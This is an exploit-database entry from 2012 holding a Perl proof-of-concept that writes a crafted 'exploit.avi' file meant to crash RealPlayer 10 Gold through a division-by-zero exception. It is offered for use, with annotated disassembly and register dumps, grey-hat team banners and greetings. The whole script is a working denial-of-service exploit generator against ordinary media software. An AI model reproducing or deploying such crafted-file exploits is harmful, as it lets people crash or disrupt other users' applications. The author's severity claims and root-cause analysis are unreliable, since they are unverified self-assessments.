Real Player 10 GOLD - Exception Handling Vulnerability

2012-06-27T00:00:00
ID 1337DAY-ID-18840
Type zdt
Reporter Dark-Puzzle
Modified 2012-06-27T00:00:00

Description

Exploit for windows platform in category local exploits

                                        
                                            #!/usr/bin/perl
#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0      _                   __           __       __                      1
#1    /' \            __  /'__`\        /\ \__  /'__`\                    0
#0   /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___            1
#1   \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\           0
#0      \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/            1
#1       \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\            0
#0        \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/            1
#1                   \ \____/ >> Exploit database separated by exploit    0
#0                    \/___/          type (local, remote, DoS, etc.)     1
#1                                                                        1
#0   [x] Official Website: http://www.1337day.com                         0
#1   [x] Support E-mail  : mr.inj3ct0r[at]gmail[dot]com                   #                                                                         
#1               ==========================================               1
#0                   I'm Dark-Puzzle From Inj3ct0r TEAM                   0
#0                                                                        1
#1                       dark-puzzle[at]live[at]fr                        0
#0               ==========================================               1
#1                 Pentesting/exploit coding/bug research                 0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
#         [0day Exploits]  Allah , Alwatan , Almalik .[0day Exploits]
# Exploit Title: Real Player 10 GOLD - Exception Handling Vulnerability .
# Author: Dark-Puzzle . 
# Danger : Medium .
# Category :Local Exploit .
# Version: Latest : 10 GOLD (Other versions aren't tested yet )   
# Vendor : http://www.real.com/
# Software Link : http://www.oldapps.com/real.php?old_real_player=12?download
# Date: 27 June 2012 .
#------------------------------------------------------------------------#
#                                                                        #
#                     Usage : perl realplayer.pl                         #
#                                                                        #
#------------------------------------------------------------------------#

my $h ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00 
\x9b\x0e\xf3\xf8\xdb\xa7\x3b\x6f\xc8\x16\x08\x7f\x88\xa2\xf9\xcb
\x87\xab\x7f\x17\xa9\x9f\xa1\xb9\x98\x8e\x2b\x87\xcb\xf9\xbe\x50 
\x42\x99\x11\x26\x5c\xb6\x79\x44\xec\xe2\xee\x71\xd0\x5b\x50\x4e 
\x37\x34\x3d\x55\xc8\x2c\x4f\x28\x9a\xea\xd0\xc7\x6d\xca\x47\xa2 
\x07\xda\x51\xb7\x97\xe6\x1c\xd5\xd8\x32\xf9\xb1\x04\xa7\x08\xb2 
\xe9\xfb\xb5\x1a\xb7\xa7\x7a\xa6\xf9\xf6\xc9\x93\x91\xa1\x21\x29 
\xa3\x1c\xe3\xc7\xcb\x17\xfd\x8d\x65\xfd\x81\x61\x6b\x89\xaf\x53 
\x31\x45\x0c\x71\xcb\x93\xcb\x6e\x2a\xcf\xa6\x76\x1a\xa8\xcc\xad 
\x81\xfd\xc4\x56\xa7\x82\xda\x3d\x20\x80\xff\x4c\xbe\xc0\x4c\x61
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x06\x00\x00\x00\xff"; 


#[Disassembly] 
#"\x0C\x20\x87\x74"               PUSH EBX
#"\x0D\x20\x87\x74"               MOV EAX,DWORD PTR SS:[EBP+8]
#"\x10\x20\x87\x74"               MOV EBX,DWORD PTR SS:[EBP+C]
#"\x13\x20\x87\x74"               MOV ECX,DWORD PTR SS:[EBP+10]
#"\x16\x20\x87\x74"               MUL EBX
#"\x18\x20\x87\x74"               MOV EBX,ECX
#"\x1A\x20\x87\x74"               SHR EBX,1
#"\x1C\x20\x87\x74"               ADD EAX,EBX
#"\x1E\x20\x87\x74"               ADC EDX,0
#"\x21\x20\x87\x74"               DIV ECX <<---- As we see we can't devise by Zero .So this occurs an error and the program crashes here .

#[Registers]
#EAX 00000000
#ECX 00000000
#EDX 00000000
#EBX 00000000

# error : Integer Division by Zero ---> Exception handling vulnerability .

# This Exception handling can lead to a DOS attack . However The Concept of using this vulnerability is the create an exception so the program crashes.And it's a local exploit .




my $file = "exploit.avi";

open ($File, ">$file");
print $File $h;
close ($File);
print "0/// Exploit By Dark-Puzzle !                  \n";
print "1/// Follow me : http://fb.me/dark.puzzle      \n";
print "0/// avi file Created Enjoy!                   \n";
print "N.B : If the program says to locate the file just browse into it's directory and select it , if not , Enjoy\n";

# End Of Exploit 
#------------------------------------------------------------------------------------------------------------------------
#Dark-Puzzle (Souhail) .
#\x90 
#Follow me : fb.me/dark.puzzle
#\x90 
#Follow Moroccan Cyber Army : https://www.facebook.com/MAR.Cyber.Army
#\x90 
#Greetz to : M.C.A , Team-Hunter , [email protected] , All Inj3ct0r team Members , Packetstromsecurity.org , Ar-Devlopers....
#\x90 
#Pentesting is my LIFE .
#\x90 
#GREY HAT Mercy From M0rocC0 .



#  0day.today [2018-01-05]  #